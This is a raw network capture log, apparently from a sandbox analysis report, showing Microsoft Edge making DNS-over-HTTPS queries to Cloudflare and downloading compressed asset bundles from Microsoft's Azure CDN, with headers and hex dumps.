2024-10-31 02:04:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db013166b48e5ca-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 95 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49828	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db013169b4fe776-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49831	13.107.246.45	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:28 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 987dc28b-e01e-0066-2852-2ada5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020428Z-17c5cb586f6sqz6f73fsew1zd800000002ng000000006r5f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-31 02:04:28 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-31 02:04:29 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49833	13.107.246.45	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:28 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020428Z-16849878b78fssff8btnns3b14000000098g0000000002xg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-31 02:04:28 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-31 02:04:29 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
